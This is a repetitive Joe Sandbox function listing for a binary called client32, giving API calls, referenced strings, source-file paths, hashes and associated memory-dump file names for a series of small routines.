Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcessPropwsprintf
String ID: ..\ctl32\wndclass.cpp$p->m_hWnd
API String ID: 1134434899-3115850912
Opcode ID: 538790263cfb1f25c099da663b992418a3413831744957c6e7e8603356e21433
Instruction ID: 87c86bef28f98f72f88127ca4e69caffea3bfce03f9a6da2004c13aaf4101256
Opcode Fuzzy Hash: 538790263cfb1f25c099da663b992418a3413831744957c6e7e8603356e21433
Instruction Fuzzy Hash: FCF0E575BC0336B7D7509A66DC82FE6F358D722BA4F448016FC26A2141F274E980C2D2

Function 110151E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,0000102D,00000000,?), ref: 11015229

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h, xrefs: 110151F4
m_hWnd, xrefs: 110151F9

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h$m_hWnd
API String ID: 819365019-3966830984
Opcode ID: bd39cd011623ecfe06393bf57d51be560d8a4fd4800ff0bf8f32089dc2d64717
Instruction ID: 9699e87d833f238af44183ea9879e136ee952ee53a84507d201ef9d6a93955d8
Opcode Fuzzy Hash: bd39cd011623ecfe06393bf57d51be560d8a4fd4800ff0bf8f32089dc2d64717
Instruction Fuzzy Hash: 19F0FEB5D0025DABCB14DF95DC85EDAB7F8EB4D310F00852AFD29A7240E770A950CBA5

Function 110173D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,QueueUserWorkItem), ref: 110173E4
SetLastError.KERNEL32(00000078), ref: 11017409

Strings

QueueUserWorkItem, xrefs: 110173DE

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastProc
String ID: QueueUserWorkItem
API String ID: 199729137-2469634949
Opcode ID: 0f94a6c9280d95f6267a0057a90355b84bcc2892604fd1d5b79f284ec07f3bb7
Instruction ID: 14daf5f2905bb7c6da6366d36066c9679ffc6904d36036c61edd8dc8337596d2
Opcode Fuzzy Hash: 0f94a6c9280d95f6267a0057a90355b84bcc2892604fd1d5b79f284ec07f3bb7
Instruction Fuzzy Hash: 06F01C72A50628AFD714DFA4D948E9BB7E8FB54721F00852AFD5597A04C774F840CBA0

Function 1109C040 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 1109C06E

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

nbytes <= ID->e_outsize, xrefs: 1109C055
..\ctl32\INFLATE.C, xrefs: 1109C050

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcess_memmovewsprintf
String ID: ..\ctl32\INFLATE.C$nbytes <= ID->e_outsize
API String ID: 1528188558-3285258354
Opcode ID: ecb1d2fd84a0efc869cb3fd50d03752f88223f91c469aac01704c3705c6b2e37
Instruction ID: 7f0224e6c9458007a7afc97dbdd4e0f72ed2e2df69d52e9d6a6733ff5f9c70a0
Opcode Fuzzy Hash: ecb1d2fd84a0efc869cb3fd50d03752f88223f91c469aac01704c3705c6b2e37
Instruction Fuzzy Hash: E9F03476E00B409BC260CA2AEA91A4BF7E9BFC0B18B41891DE08B96E51D270F840CB00

Function 110AA110 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,SetupDiDestroyDeviceInfoList), ref: 110AA124
SetLastError.KERNEL32(00000078,00000000,?,110AA38E,?), ref: 110AA141

Strings

SetupDiDestroyDeviceInfoList, xrefs: 110AA11E

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastProc
String ID: SetupDiDestroyDeviceInfoList
API String ID: 199729137-2336592288
Opcode ID: 9f428bef2085436ff31b2eac782211992ffef28bf1cf74844d0bf96a815d6146
Instruction ID: 61a65b45d089cfb4d2408545eebc62cc3d57d9e53018ea31370ae8da83e1cc67
Opcode Fuzzy Hash: 9f428bef2085436ff31b2eac782211992ffef28bf1cf74844d0bf96a815d6146
Instruction Fuzzy Hash: E1E01272A41728ABD724DFE4E904B87FBD89B14B61F01843AE66997940DA71E840CB90

Function 1101D320 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,FlashWindowEx), ref: 1101D334
SetLastError.KERNEL32(00000078), ref: 1101D351

Strings

FlashWindowEx, xrefs: 1101D32E

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastProc
String ID: FlashWindowEx
API String ID: 199729137-2859592226
Opcode ID: bbe273fc43b33a73958d1f5ff023c045b956bd3b29a261bef0c34649876a7d0d
Instruction ID: 7fa6031e8bb94c9d2945b427b42de2899da1a72ad2875e3a9dcb47a7bac4ba5f
Opcode Fuzzy Hash: bbe273fc43b33a73958d1f5ff023c045b956bd3b29a261bef0c34649876a7d0d
Instruction Fuzzy Hash: 83E01272A412389FD324EBE9A848B4AF7E89B54765F01442AEA5597904C675E8408B90

Function 11002130 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 1100213A

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

m_pToolbar, xrefs: 11002155
e:\nsmsrc\nsm\1210\1210f\ctl32\floatbar.h, xrefs: 11002150

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcessWindowwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\floatbar.h$m_pToolbar
API String ID: 2577986331-281161189
Opcode ID: 35783d953fd85d00738a6eb2ba99d550ce6056d1f12e3eeb32741e389c5bd5cf
Instruction ID: 060336b2bd4469f278674b99be49374638fb6687acdde2fc2171db53485ff0b1
Opcode Fuzzy Hash: 35783d953fd85d00738a6eb2ba99d550ce6056d1f12e3eeb32741e389c5bd5cf
Instruction Fuzzy Hash: C6E09239F00511ABE715CA65E844F8AF3E9BF98744F000165E515D3621C730EC01CB90

Function 110261E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,WTSFreeMemory), ref: 110261F4
SetLastError.KERNEL32(00000078), ref: 11026211

Strings

WTSFreeMemory, xrefs: 110261EE

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastProc
String ID: WTSFreeMemory
API String ID: 199729137-4124798068
Opcode ID: 13d07f76c4a166e4ad18c5415da4463235fdc2a849b6dba1af9382bffb586c94
Instruction ID: 4cd1938c9d3efa718b6458be26612696890f57d6528778b9f588236970a85574
Opcode Fuzzy Hash: 13d07f76c4a166e4ad18c5415da4463235fdc2a849b6dba1af9382bffb586c94
Instruction Fuzzy Hash: D0E04872E8172C9BD334DFD4E944A96F7E8DF14B61F00053AE95597940C670A844CBE1

Function 11001090 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageA.USER32(?,?,?,?,?), ref: 110010C7

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110010A1
m_hWnd, xrefs: 110010A6

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitItemLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2046328329-2830328467
Opcode ID: c226bf07a577de758f5b5d732fabc6726861ac1fed5afbb268a848974a3c6e27
Instruction ID: 55addf44b20248d1cdc7b1377ce96882c1c4f69405d532d8ba5fa0b62c56eca9
Opcode Fuzzy Hash: c226bf07a577de758f5b5d732fabc6726861ac1fed5afbb268a848974a3c6e27
Instruction Fuzzy Hash: 8DE01AB661021DBFD714DE85EC81EEBB3ECEB49354F008529FA2A97240D6B0E850C7A5

Function 11001050 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,?,?,?), ref: 11001083

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001061
m_hWnd, xrefs: 11001066

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 819365019-2830328467
Opcode ID: 3c93d44872c95809d5d96296b6c43cba7727a5ea0dc913bc3fcb2418da055862
Instruction ID: 50f06fe94c134d50a88b9402c61dae4da10641179b5ac6344e644b67b4693846
Opcode Fuzzy Hash: 3c93d44872c95809d5d96296b6c43cba7727a5ea0dc913bc3fcb2418da055862
Instruction Fuzzy Hash: 6AE04FB5A00219BBD710DE95DC45EDBB3DCEB48354F00842AF92597240D6B0F84087A0

Function 110010E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

PostMessageA.USER32(?,?,?,?), ref: 11001113

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110010F1
m_hWnd, xrefs: 110010F6

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastPostProcesswsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 906220102-2830328467
Opcode ID: 81e23b17fbda055fd9539ba62cc9f5d3a9ce7d810db27e0af83b2e8161869047
Instruction ID: 934a8ee4ae924c1029923c78eea6d07b507986f249d0d3e5c029bc3c62824ea9
Opcode Fuzzy Hash: 81e23b17fbda055fd9539ba62cc9f5d3a9ce7d810db27e0af83b2e8161869047
Instruction Fuzzy Hash: 98E04FB5A10219BFD704CA85DC46EDAB39CEB48754F00802AF92597200D6B0E84087A0

Function 11014130 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00001203,?,?), ref: 11014161

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\headctrl.h, xrefs: 1101413E
m_hWnd, xrefs: 11014143

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\headctrl.h$m_hWnd
API String ID: 819365019-3507600817
Opcode ID: a4e8f6c1e0f0e719e49bb50dc02c9156cf18e10f3a85b9adc6d500caaea46bf6
Instruction ID: ce752b6915aa01a8741080b9e5a2c0ea08f5e284845c2bca3d31cce01905913c
Opcode Fuzzy Hash: a4e8f6c1e0f0e719e49bb50dc02c9156cf18e10f3a85b9adc6d500caaea46bf6
Instruction Fuzzy Hash: 60E08675A502187BD310DA81DC46FD6F39CEB55755F008126F9255A241D670B8408790

Function 110151A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00001014,?,?), ref: 110151D4

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h, xrefs: 110151B1
m_hWnd, xrefs: 110151B6

Memory Dump Source

